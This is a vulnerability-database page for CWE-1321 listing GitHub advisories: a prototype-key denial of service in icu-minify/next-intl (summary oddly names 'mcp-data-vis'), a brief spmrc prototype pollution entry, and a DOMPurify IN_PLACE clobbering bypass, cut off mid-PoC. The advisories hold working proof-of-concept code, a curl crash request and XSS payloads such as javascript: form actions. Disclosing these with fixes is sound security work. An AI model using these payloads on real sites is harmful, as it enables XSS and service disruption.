Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

780 vulnerabilities reference this CWE, most recent first.

GHSA-R27J-894H-3W3P

Vulnerability from github – Published: 2026-05-06 17:32 – Updated: 2026-05-06 17:32

Summary

mcp-data-vis vulnerable to denial of service via unsanitized `select` key lookup on `Object.prototype` with `precompile: true`

Details

Summary

icu-minify's runtime formatter resolves select branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on Object.prototype (e.g. toString, __proto__, constructor, hasOwnProperty, valueOf), the lookup returns a truthy value that short-circuits the ?? options.other fallback, and the downstream iterator crashes with TypeError: nodes is not iterable. Any consumer that forwards user input into a {arg, select, …} placeholder — a common idiom for role, status, type, gender — can be crashed per-request by supplying one of those keys. In Next.js SSR (via next-intl with experimental.messages.precompile) this yields a 500 for the affected render.

Details

Vulnerable code paths

Compilation produces a plain object whose prototype chain includes all Object.prototype members:

// packages/icu-minify/src/compile.tsx:191-199
function compileSelect(node: SelectElement): CompiledNode {
  const options: SelectOptions = {};            // <-- plain object, inherits from Object.prototype

  for (const [key, option] of Object.entries(node.options)) {
    options[key] = compileNodesToNode(option.value);
  }

  return [node.value, TYPE_SELECT, options];
}

At runtime, the formatter looks up the user-controllable value directly on that object:

// packages/icu-minify/src/format.tsx:226-244
function formatSelect<RichTextElement>(
  name: string,
  options: SelectOptions,
  locale: string,
  values: FormatValues<RichTextElement>,
  formatOptions: FormatOptions,
  pluralCtx: PluralContext | undefined
): string | RichTextElement | Array<string | RichTextElement> {
  const value = String(getValue(values, name));               // 234: coerce to string, no sanitization
  const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup

  if (process.env.NODE_ENV !== 'production' && !branch) {
    throw new Error(
      `No matching branch for select "${name}" with value "${value}"`
    );
  }

  return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243
}

Because options inherits from Object.prototype, lookups such as options['toString'] return Object.prototype.toString — a truthy Function. The ?? options.other fallback is therefore skipped, and the non-array, non-string branch is passed to formatBranch, which forwards it to formatNodes:

// packages/icu-minify/src/format.tsx:286-308
function formatBranch<RichTextElement>(
  branch: CompiledNode,
  /* … */
) {
  if (typeof branch === 'string') return branch;           // string: fine
  if (branch === TYPE_POUND) return formatNode(/* … */);    // pound: fine
  return formatNodes(branch as Array<CompiledNode>, /* … */); // 301: Function is not iterable
}

// packages/icu-minify/src/format.tsx:73-92
function formatNodes<RichTextElement>(
  nodes: Array<CompiledNode>,
  /* … */
): Array<string | RichTextElement> {
  const result: Array<string | RichTextElement> = [];
  for (const node of nodes) {                              // 82: TypeError: nodes is not iterable
    /* … */
  }
  return result;
}

Five bare-prototype keys reliably crash the formatter in production: toString, __proto__, constructor, hasOwnProperty, valueOf (plus propertyIsEnumerable, isPrototypeOf, toLocaleString). Note the development branch at line 237 (throw new Error('No matching branch for select …')) is bypassed because the inherited function is truthy — so this is not masked in development either.

Why `formatPlural` is not affected

formatPlural (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:

Exact-match keys use the =${value} prefix (exactKey = '=' + value, line 263), so the attacker would need to supply e.g. =toString, which is not a member of Object.prototype.
The category branch uses formatOptions.formatters.getPluralRules(locale, {type}).select(value) which returns a fixed enum (zero|one|two|few|many|other), never attacker-supplied.

The bug is specific to the select path where the raw string value is used as the lookup key.

Reachability

Direct consumers of icu-minify: any code calling format(compiled, locale, values, …) where values[arg] for a select placeholder comes from user input is vulnerable with no additional preconditions.
next-intl users who enable experimental.messages.precompile (packages/next-intl/src/plugin/types.tsx:24, wired in packages/next-intl/src/plugin/getNextConfig.tsx:177-293): the runtime at packages/use-intl/src/core/format-message/format-only.tsx forwards directly to icu-minify/format, so t('msg', {role: req.query.role}) against a {role, select, admin {…} other {…}} message crashes the render.

No middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup — values reaches format() unmodified.

PoC

Verified dynamically against packages/icu-minify/src/format.tsx at commit b4aa538 (v4.9.1) with vitest and NODE_ENV=production.

Reproduction (drop into packages/icu-minify/test/poc.test.ts and run pnpm exec vitest run test/poc.test.ts):

import {describe, expect, it} from 'vitest';
import compile from '../src/compile.js';
import format, {type FormatOptions} from '../src/format.js';

const formatters: FormatOptions['formatters'] = {
  getDateTimeFormat: (...a) => new Intl.DateTimeFormat(...a),
  getNumberFormat:   (...a) => new Intl.NumberFormat(...a),
  getPluralRules:    (...a) => new Intl.PluralRules(...a)
};

describe('select prototype-key DoS', () => {
  const compiled = compile('{role, select, admin {Admin} user {User} other {Guest}}');

  for (const key of ['toString', '__proto__', 'constructor', 'hasOwnProperty', 'valueOf']) {
    it(`crashes on role="${key}"`, () => {
      process.env.NODE_ENV = 'production';
      expect(() => format(compiled, 'en', {role: key}, {formatters}))
        .toThrow(TypeError); // "nodes is not iterable"
    });
  }
});

Observed output (each of the 5 keys):

TypeError: nodes is not iterable
    at formatNodes (packages/icu-minify/src/format.tsx:82:22)
    at formatBranch (packages/icu-minify/src/format.tsx:301:10)
    at formatSelect (packages/icu-minify/src/format.tsx:243:10)
    at formatNode (packages/icu-minify/src/format.tsx:150:14)
    at formatNodes (packages/icu-minify/src/format.tsx:83:23)
    at format (packages/icu-minify/src/format.tsx:64:18)

End-to-end Next.js scenario (illustrative — any attacker-controlled role/status/type/gender forwarded into a select placeholder triggers the same exception inside the server render):

// app/[locale]/profile/page.tsx — assume precompile enabled
export default async function Page({searchParams}: {searchParams: Promise<{role?: string}>}) {
  const t = await getTranslations('Profile');
  const {role = 'other'} = await searchParams;
  return <h1>{t('greeting', {role})}</h1>;
  //                         ^^^^^ messages: { "greeting": "{role, select, admin {Hi admin} other {Hi}}" }
}

curl -i 'https://target.example/en/profile?role=toString'
HTTP/1.1 500 Internal Server Error

Impact

Availability: An unauthenticated attacker can force a 500 response on any page or API route that formats a select ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request.
Confidentiality / Integrity: None. No data is leaked and no prototype write occurs — this is a prototype-chain read confusion, not a prototype pollution write.
Scope: Any consumer of icu-minify that passes user input into a select branch is vulnerable. next-intl users are only exposed if they have opted into the experimental experimental.messages.precompile flag.
Preconditions: Developer must forward untrusted input to a {arg, select, …} placeholder. This is a routine pattern (role, status, gender, type) and the library offers no documentation warning that select keys must be validated against prototype members.

Recommended Fix

Either of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.

Use a null-prototype map in compileSelect (and symmetrically in compilePlural) so that no Object.prototype keys can ever be resolved:

// packages/icu-minify/src/compile.tsx
function compileSelect(node: SelectElement): CompiledNode {
-  const options: SelectOptions = {};
+  const options: SelectOptions = Object.create(null);

   for (const [key, option] of Object.entries(node.options)) {
     options[key] = compileNodesToNode(option.value);
   }

   return [node.value, TYPE_SELECT, options];
 }

Gate the runtime lookup with Object.prototype.hasOwnProperty.call so the other fallback is reached for any non-own key:

// packages/icu-minify/src/format.tsx
 function formatSelect<RichTextElement>(/* … */) {
   const value = String(getValue(values, name));
-  const branch: CompiledNode | undefined = options[value] ?? options.other;
+  const branch: CompiledNode | undefined =
+    Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other;
   /* … */
 }

Option 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs SelectOptions from arbitrary JSON at runtime.

No regression is expected in tests — compileSelect never reads back through the prototype chain, and all existing lookups use own properties.

Severity

3.7 (Low)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.9.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "icu-minify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T17:32:01Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Summary\n\n`icu-minify`\u0027s runtime formatter resolves `select` branches by looking up the runtime value as a plain property on a prototype-bearing object. When the value coerces to a key that exists on `Object.prototype` (e.g. `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf`), the lookup returns a truthy value that short-circuits the `?? options.other` fallback, and the downstream iterator crashes with `TypeError: nodes is not iterable`. Any consumer that forwards user input into a `{arg, select, \u2026}` placeholder \u2014 a common idiom for `role`, `status`, `type`, `gender` \u2014 can be crashed per-request by supplying one of those keys. In Next.js SSR (via `next-intl` with `experimental.messages.precompile`) this yields a 500 for the affected render.\n\n## Details\n\n### Vulnerable code paths\n\nCompilation produces a plain object whose prototype chain includes all `Object.prototype` members:\n\n```tsx\n// packages/icu-minify/src/compile.tsx:191-199\nfunction compileSelect(node: SelectElement): CompiledNode {\n  const options: SelectOptions = {};            // \u003c-- plain object, inherits from Object.prototype\n\n  for (const [key, option] of Object.entries(node.options)) {\n    options[key] = compileNodesToNode(option.value);\n  }\n\n  return [node.value, TYPE_SELECT, options];\n}\n```\n\nAt runtime, the formatter looks up the user-controllable value directly on that object:\n\n```tsx\n// packages/icu-minify/src/format.tsx:226-244\nfunction formatSelect\u003cRichTextElement\u003e(\n  name: string,\n  options: SelectOptions,\n  locale: string,\n  values: FormatValues\u003cRichTextElement\u003e,\n  formatOptions: FormatOptions,\n  pluralCtx: PluralContext | undefined\n): string | RichTextElement | Array\u003cstring | RichTextElement\u003e {\n  const value = String(getValue(values, name));               // 234: coerce to string, no sanitization\n  const branch: CompiledNode | undefined = options[value] ?? options.other; // 235: unsafe lookup\n\n  if (process.env.NODE_ENV !== \u0027production\u0027 \u0026\u0026 !branch) {\n    throw new Error(\n      `No matching branch for select \"${name}\" with value \"${value}\"`\n    );\n  }\n\n  return formatBranch(branch, locale, values, formatOptions, pluralCtx); // 243\n}\n```\n\nBecause `options` inherits from `Object.prototype`, lookups such as `options[\u0027toString\u0027]` return `Object.prototype.toString` \u2014 a truthy `Function`. The `?? options.other` fallback is therefore skipped, and the non-array, non-string branch is passed to `formatBranch`, which forwards it to `formatNodes`:\n\n```tsx\n// packages/icu-minify/src/format.tsx:286-308\nfunction formatBranch\u003cRichTextElement\u003e(\n  branch: CompiledNode,\n  /* \u2026 */\n) {\n  if (typeof branch === \u0027string\u0027) return branch;           // string: fine\n  if (branch === TYPE_POUND) return formatNode(/* \u2026 */);    // pound: fine\n  return formatNodes(branch as Array\u003cCompiledNode\u003e, /* \u2026 */); // 301: Function is not iterable\n}\n\n// packages/icu-minify/src/format.tsx:73-92\nfunction formatNodes\u003cRichTextElement\u003e(\n  nodes: Array\u003cCompiledNode\u003e,\n  /* \u2026 */\n): Array\u003cstring | RichTextElement\u003e {\n  const result: Array\u003cstring | RichTextElement\u003e = [];\n  for (const node of nodes) {                              // 82: TypeError: nodes is not iterable\n    /* \u2026 */\n  }\n  return result;\n}\n```\n\nFive bare-prototype keys reliably crash the formatter in production: `toString`, `__proto__`, `constructor`, `hasOwnProperty`, `valueOf` (plus `propertyIsEnumerable`, `isPrototypeOf`, `toLocaleString`). Note the development branch at line 237 (`throw new Error(\u0027No matching branch for select \u2026\u0027)`) is bypassed because the inherited function is truthy \u2014 so this is not masked in development either.\n\n### Why `formatPlural` is not affected\n\n`formatPlural` (format.tsx:246-284) looks safe for two independent reasons and does not need to be patched for this specific bug:\n\n1. Exact-match keys use the `=${value}` prefix (`exactKey = \u0027=\u0027 + value`, line 263), so the attacker would need to supply e.g. `=toString`, which is not a member of `Object.prototype`.\n2. The category branch uses `formatOptions.formatters.getPluralRules(locale, {type}).select(value)` which returns a fixed enum (`zero|one|two|few|many|other`), never attacker-supplied.\n\nThe bug is specific to the `select` path where the raw string value is used as the lookup key.\n\n### Reachability\n\n- **Direct consumers of `icu-minify`**: any code calling `format(compiled, locale, values, \u2026)` where `values[arg]` for a `select` placeholder comes from user input is vulnerable with no additional preconditions.\n- **`next-intl` users** who enable `experimental.messages.precompile` (`packages/next-intl/src/plugin/types.tsx:24`, wired in `packages/next-intl/src/plugin/getNextConfig.tsx:177-293`): the runtime at `packages/use-intl/src/core/format-message/format-only.tsx` forwards directly to `icu-minify/format`, so `t(\u0027msg\u0027, {role: req.query.role})` against a `{role, select, admin {\u2026} other {\u2026}}` message crashes the render.\n\nNo middleware, type guard, escaping, or framework default stands between user input and the unsafe lookup \u2014 `values` reaches `format()` unmodified.\n\n## PoC\n\nVerified dynamically against `packages/icu-minify/src/format.tsx` at commit `b4aa538` (v4.9.1) with vitest and `NODE_ENV=production`.\n\nReproduction (drop into `packages/icu-minify/test/poc.test.ts` and run `pnpm exec vitest run test/poc.test.ts`):\n\n```ts\nimport {describe, expect, it} from \u0027vitest\u0027;\nimport compile from \u0027../src/compile.js\u0027;\nimport format, {type FormatOptions} from \u0027../src/format.js\u0027;\n\nconst formatters: FormatOptions[\u0027formatters\u0027] = {\n  getDateTimeFormat: (...a) =\u003e new Intl.DateTimeFormat(...a),\n  getNumberFormat:   (...a) =\u003e new Intl.NumberFormat(...a),\n  getPluralRules:    (...a) =\u003e new Intl.PluralRules(...a)\n};\n\ndescribe(\u0027select prototype-key DoS\u0027, () =\u003e {\n  const compiled = compile(\u0027{role, select, admin {Admin} user {User} other {Guest}}\u0027);\n\n  for (const key of [\u0027toString\u0027, \u0027__proto__\u0027, \u0027constructor\u0027, \u0027hasOwnProperty\u0027, \u0027valueOf\u0027]) {\n    it(`crashes on role=\"${key}\"`, () =\u003e {\n      process.env.NODE_ENV = \u0027production\u0027;\n      expect(() =\u003e format(compiled, \u0027en\u0027, {role: key}, {formatters}))\n        .toThrow(TypeError); // \"nodes is not iterable\"\n    });\n  }\n});\n```\n\nObserved output (each of the 5 keys):\n\n```\nTypeError: nodes is not iterable\n    at formatNodes (packages/icu-minify/src/format.tsx:82:22)\n    at formatBranch (packages/icu-minify/src/format.tsx:301:10)\n    at formatSelect (packages/icu-minify/src/format.tsx:243:10)\n    at formatNode (packages/icu-minify/src/format.tsx:150:14)\n    at formatNodes (packages/icu-minify/src/format.tsx:83:23)\n    at format (packages/icu-minify/src/format.tsx:64:18)\n```\n\nEnd-to-end Next.js scenario (illustrative \u2014 any attacker-controlled `role`/`status`/`type`/`gender` forwarded into a `select` placeholder triggers the same exception inside the server render):\n\n```tsx\n// app/[locale]/profile/page.tsx \u2014 assume precompile enabled\nexport default async function Page({searchParams}: {searchParams: Promise\u003c{role?: string}\u003e}) {\n  const t = await getTranslations(\u0027Profile\u0027);\n  const {role = \u0027other\u0027} = await searchParams;\n  return \u003ch1\u003e{t(\u0027greeting\u0027, {role})}\u003c/h1\u003e;\n  //                         ^^^^^ messages: { \"greeting\": \"{role, select, admin {Hi admin} other {Hi}}\" }\n}\n```\n\n```\ncurl -i \u0027https://target.example/en/profile?role=toString\u0027\nHTTP/1.1 500 Internal Server Error\n```\n\n## Impact\n\n- **Availability**: An unauthenticated attacker can force a 500 response on any page or API route that formats a `select` ICU message using user-controllable input. Each request fails independently; there is no persistent state corruption or amplification beyond the malicious request.\n- **Confidentiality / Integrity**: None. No data is leaked and no prototype write occurs \u2014 this is a prototype-chain *read* confusion, not a prototype pollution write.\n- **Scope**: Any consumer of `icu-minify` that passes user input into a `select` branch is vulnerable. `next-intl` users are only exposed if they have opted into the experimental `experimental.messages.precompile` flag.\n- **Preconditions**: Developer must forward untrusted input to a `{arg, select, \u2026}` placeholder. This is a routine pattern (`role`, `status`, `gender`, `type`) and the library offers no documentation warning that `select` keys must be validated against prototype members.\n\n## Recommended Fix\n\nEither of the following (defense-in-depth suggests both). Both are one-line, minimal-churn fixes.\n\n1. Use a null-prototype map in `compileSelect` (and symmetrically in `compilePlural`) so that no `Object.prototype` keys can ever be resolved:\n\n```tsx\n// packages/icu-minify/src/compile.tsx\nfunction compileSelect(node: SelectElement): CompiledNode {\n-  const options: SelectOptions = {};\n+  const options: SelectOptions = Object.create(null);\n\n   for (const [key, option] of Object.entries(node.options)) {\n     options[key] = compileNodesToNode(option.value);\n   }\n\n   return [node.value, TYPE_SELECT, options];\n }\n```\n\n2. Gate the runtime lookup with `Object.prototype.hasOwnProperty.call` so the `other` fallback is reached for any non-own key:\n\n```tsx\n// packages/icu-minify/src/format.tsx\n function formatSelect\u003cRichTextElement\u003e(/* \u2026 */) {\n   const value = String(getValue(values, name));\n-  const branch: CompiledNode | undefined = options[value] ?? options.other;\n+  const branch: CompiledNode | undefined =\n+    Object.prototype.hasOwnProperty.call(options, value) ? options[value] : options.other;\n   /* \u2026 */\n }\n```\n\nOption 1 is preferable because it also survives future serialization round-trips (e.g. JSON-hydrated compiled messages) and removes the hazard at the source. Option 2 is a defensive backstop for any code path that constructs `SelectOptions` from arbitrary JSON at runtime.\n\nNo regression is expected in tests \u2014 `compileSelect` never reads back through the prototype chain, and all existing lookups use own properties.",
  "id": "GHSA-r27j-894h-3w3p",
  "modified": "2026-05-06T17:32:01Z",
  "published": "2026-05-06T17:32:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/amannn/next-intl/security/advisories/GHSA-r27j-894h-3w3p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/amannn/next-intl"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mcp-data-vis vulnerable to denial of service via unsanitized `select` key lookup on `Object.prototype` with `precompile: true`"
}

GHSA-R2RV-8PP3-65XW

Vulnerability from github – Published: 2025-09-24 21:30 – Updated: 2025-09-26 12:55

Summary

spmrc vulnerable to prototype pollution

Details

spmrc is a package that provides the rc manager for spm. A Prototype Pollution vulnerability in the set and config function of spmrc version 1.2.0 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.

Severity

2.9 (Low)


                  
                    CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "spmrc"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-26T12:55:16Z",
    "nvd_published_at": "2025-09-24T20:15:32Z",
    "severity": "LOW"
  },
  "details": "spmrc is a package that provides the rc manager for spm. A Prototype Pollution vulnerability in the set and config function of spmrc version 1.2.0 and before allows attackers to inject properties on Object.prototype via supplying a crafted payload, causing denial of service (DoS) as the minimum consequence.",
  "id": "GHSA-r2rv-8pp3-65xw",
  "modified": "2025-09-26T12:55:16Z",
  "published": "2025-09-24T21:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/blob/main/JavaScript/prototype-pollution/spmrc%401.2.0/index.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/VulnSageAgent/PoCs/tree/main/JavaScript/prototype-pollution/CVE-2025-57327"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spmjs/spmrc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "spmrc vulnerable to prototype pollution"
}

GHSA-R47G-FVHR-H676

Vulnerability from github – Published: 2026-06-15 19:53 – Updated: 2026-06-15 19:53

Summary

DOMPurify: IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

Details

IN_PLACE mode preserves attributes of a clobbered root element, allowing XSS via attacker-controlled root DOM

CWE: CWE-79 (XSS — Improper Neutralization of Input During Web Page Generation) via CWE-693 (Protection Mechanism Failure — silent no-op when _forceRemove is called on a parent-less node)

Summary

When DOMPurify.sanitize(root, { IN_PLACE: true }) is called and root is a <form> whose own attributes carry an event handler (onmouseover, onfocus, onclick, etc.), a single descendant element with a name= attribute matching any of the property names _isClobbered checks (nodeName, setAttribute, namespaceURI, insertBefore, hasChildNodes, childNodes) is sufficient to bypass attribute sanitization on the root. _forceRemove silently no-ops because the root has no parent; the iterator drives on to _sanitizeAttributes, which early-returns on clobbered nodes — and the event handler attribute is never inspected. The sanitized return is the same root, with the handler live.

This affects current main at 89da34e (the just-landed DOM-clobbering hardening fix at 89da34e addressed _sanitizeAttachedShadowRoots walk traversal, not the main _sanitizeElements / _sanitizeAttributes pipeline against the iterator-root node).

Affected

DOMPurify ≤ 3.4.5, including main at 89da34e03ec17868e561f87f3747a9371b61a9e7
Any caller that does DOMPurify.sanitize(node, { IN_PLACE: true }) where node is built from untrusted HTML (e.g., parsed via createElement('template').innerHTML = dirty then template.content.firstElementChild handed in)

Not affected: - String-input DOMPurify.sanitize(dirtyString) — the library builds the DOM itself inside _initDocument, the root is the cleanly-created document body, and clobber-named children of the body cannot shadow body named properties (HTMLBodyElement does not carry [LegacyOverrideBuiltIns]) - IN_PLACE where the root is not an HTMLFormElement - IN_PLACE where the attacker cannot place a clobber-named child inside the root

Vulnerability details

Code paths

[A] — _forceRemove at src/purify.ts:930-939:

const _forceRemove = function (node: Node): void {
  arrayPush(DOMPurify.removed, { element: node });
  try {
    // eslint-disable-next-line unicorn/prefer-dom-node-remove
    getParentNode(node).removeChild(node);   // [A1] throws when getParentNode returns null
  } catch (_) {
    remove(node);                             // [A2] WebIDL Node.remove() — spec-defined no-op
  }                                           //      when the node has no parent
};

When the iterator-root has no parent (the standard IN_PLACE case where the caller hands in a detached node), getParentNode(node) returns null, null.removeChild(node) throws, the catch falls to remove(node) — which per WebIDL is Element.prototype.remove.call(node), and per spec does nothing if the node has no parent. Nothing about _forceRemove's contract acknowledges this — the function appears to its callers as "the node is gone now," but the node is still in place.

[B] — _sanitizeAttributes at src/purify.ts:1490-1492:

const _sanitizeAttributes = function (currentNode: Element): void {
  _executeHooks(hooks.beforeSanitizeAttributes, currentNode, null);

  const { attributes } = currentNode;

  /* Check if we have attributes; if not we might have a text node */
  if (!attributes || _isClobbered(currentNode)) {
    return;                                   // [B] silently skips ALL attribute checks
  }                                           //     for clobbered nodes
  ...
};

The skip at [B] is deliberate — the intent is to avoid touching nodes the library has already decided to discard. The invariant the comment implies is "if _isClobbered, then _sanitizeElements already removed this node, so we will never reach _sanitizeAttributes on it." That invariant holds for every non-root node (their _forceRemove succeeds in detaching them), but fails for the iterator root in IN_PLACE mode.

The mismatch is between [A] and [B]: [A] assumes "removal" means the node will not be observed again, and [B] assumes any clobbered node it sees has already been removed. Neither holds for the iterator root. A correct guard would either make _forceRemove fail loudly on parent-less nodes (so the caller can bail out of IN_PLACE entirely) or have _sanitizeAttributes strip attributes from clobbered roots before returning.

Iterator call site

src/purify.ts:1850-1864 ignores the boolean return value of _sanitizeElements:

const nodeIterator = _createNodeIterator(IN_PLACE ? dirty : body);

while ((currentNode = nodeIterator.nextNode())) {
  _sanitizeElements(currentNode);       // returns `true` if killed — IGNORED
  _sanitizeAttributes(currentNode);     // runs unconditionally; relies on [B]'s skip
  ...
}

If the return value were checked and _sanitizeAttributes skipped when the node was "killed," the bug would not exist as a discrete issue — but currently _sanitizeAttributes is the only line of defense for a node that _sanitizeElements could not actually detach.

Why the clobber works

In Chromium/WebKit/Firefox, HTMLFormElement carries the WebIDL [LegacyOverrideBuiltIns] extended attribute on its named-property getter. A descendant element with name="X" (or id="X", for radio-button-like names) shadows the matching property on the form, including properties inherited from Element, Node, and EventTarget prototypes. This is the same primitive the just-landed 89da34e fix addresses for shadow-root traversal, but _isClobbered's typeof checks (and the bypass-by-detection-failure path here) are independent of that fix.

Verified clobber targets (each name= value independently triggers _isClobbered):

`name=` value	property `_isClobbered` checks	typeof on clobbered form
`nodeName`	`typeof element.nodeName !== 'string'`	object (an `<INPUT>`)
`setAttribute`	`typeof element.setAttribute !== 'function'`	object (not callable) — but `<embed>`/`<applet>`/`<iframe>` ARE callable; see "Note on callable elements" below
`namespaceURI`	`typeof element.namespaceURI !== 'string'`	object
`insertBefore`	`typeof element.insertBefore !== 'function'`	object
`hasChildNodes`	`typeof element.hasChildNodes !== 'function'`	object
`childNodes`	`!(element.childNodes && typeof element.childNodes.length === 'number')`	object — `<INPUT>` has no `.length`
`attributes`	`!(element.attributes instanceof NamedNodeMap)`	object (an `<INPUT>` is not a NamedNodeMap)
`textContent`	`typeof element.textContent !== 'string'`	object
`removeChild`	`typeof element.removeChild !== 'function'`	object (non-callable)
`removeAttribute`	`typeof element.removeAttribute !== 'function'`	object (non-callable)

Any single one of the ten property names in _isClobbered's checklist is sufficient as the bypass trigger.

Proof of concept

(1) Minimal — runnable in a single browser context

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

(2) End-to-end — Playwright against `main` HEAD

const { chromium } = require('playwright');
const path = require('path');

(async () => {
  const browser = await chromium.launch();
  const page = await browser.newPage();
  await page.setContent('<!doctype html><html><body></body></html>');
  await page.addScriptTag({ path: path.resolve('dist/purify.js') });

  const result = await page.evaluate(() => {
    const root = document.createElement('form');
    root.setAttribute('onmouseover', 'window.__rooted = 1');
    const clobber = document.createElement('input');
    clobber.setAttribute('name', 'nodeName');
    root.appendChild(clobber);

    DOMPurify.sanitize(root, { IN_PLACE: true });

    document.body.appendChild(root);
    window.__rooted = 0;
    root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));

    return {
      version: DOMPurify.version,
      output: root.outerHTML,
      handlerFired: window.__rooted === 1,
    };
  });
  console.log(result);
  await browser.close();
})();

Observed (Chromium 148.0.7778.96, DOMPurify 3.4.5, HEAD 89da34e):

{
  version: '3.4.5',
  output: '<form onmouseover="window.__rooted = 1"><input name="nodeName"></form>',
  handlerFired: true
}

(3) Variant matrix — six distinct clobber-target properties

Every property name in _isClobbered's typeof checklist works as the bypass trigger:

[BYPASS] name="nodeName"      → <form onmouseover="…"><input></form>
[BYPASS] name="setAttribute"  → <form onmouseover="…"><input></form>
[BYPASS] name="namespaceURI"  → <form onmouseover="…"><input></form>
[BYPASS] name="insertBefore"  → <form onmouseover="…"><input></form>
[BYPASS] name="hasChildNodes" → <form onmouseover="…"><input></form>
[BYPASS] name="childNodes"    → <form onmouseover="…"><input></form>

This makes the fix less of a one-line patch — every property _isClobbered checks for the typeof-spoofing pattern needs to be considered.

Impact

Direct

Two distinct impact paths from the same root-attribute-survival primitive:

(a) XSS via event-handler attribute on the surviving root. Any consumer that uses DOMPurify.sanitize(node, { IN_PLACE: true }) where node originated from untrusted HTML and is re-inserted into the live document is vulnerable to XSS. The typical pattern is:

const t = document.createElement('template');
t.innerHTML = untrustedHtml;
DOMPurify.sanitize(t.content.firstElementChild, { IN_PLACE: true });
container.appendChild(t.content.firstElementChild);

If untrustedHtml is <form onmouseover=…><input name=nodeName>…</form>, the resulting node has the onmouseover attribute intact when re-inserted into the live document.

(b) Every attribute-level defense is bypassed on the surviving root, not just event handlers. The _sanitizeAttributes early-return at :1490 skips the entire attribute walk for clobbered nodes, so the root preserves attributes that the attribute walk would otherwise sanitize. Verified additional attributes that survive:

action="javascript:..." and formaction="javascript:..." — URI validation at :1413 never runs. A user click on a submit button inside the sanitized form navigates to the javascript: URL, executing the handler. Adds a click-triggered XSS path on top of the mouseover/focus event-handler attributes already documented.
id="<colliding-name>" — the DOM-clobbering guard at :1352-1359 (SANITIZE_DOM && (lcName === 'id' || lcName === 'name') && (value in document || value in formElement)) lives inside _sanitizeAttributes and is skipped. An attacker can therefore land id="cookie", id="body", id="head", id="firstChild", etc. on the surviving form root and use it as a DOM-clobbering primitive against any consumer code that does document.cookie, document.body, etc.
target="_top", autofocus, formenctype, formmethod — all survive untouched.
Custom event handlers DOMPurify wouldn't have explicit list entries for (e.g., newly-spec'd oncontentvisibilityautostatechange) survive on the clobbered root via the same skip; the per-name allow-list at :1361-1364 never runs.

Verified — full attribute set survives on a single payload (PoC):

const root = document.createElement('form');
root.setAttribute('action', 'javascript:alert(1)');
root.setAttribute('target', '_top');
root.setAttribute('onclick', 'alert(2)');
root.setAttribute('onmouseover', 'alert(3)');
root.setAttribute('autofocus', '');
root.setAttribute('formaction', 'javascript:alert(4)');
root.setAttribute('id', 'cookie');           // DOM-clobbering primitive
root.innerHTML += '<input name="nodeName">';
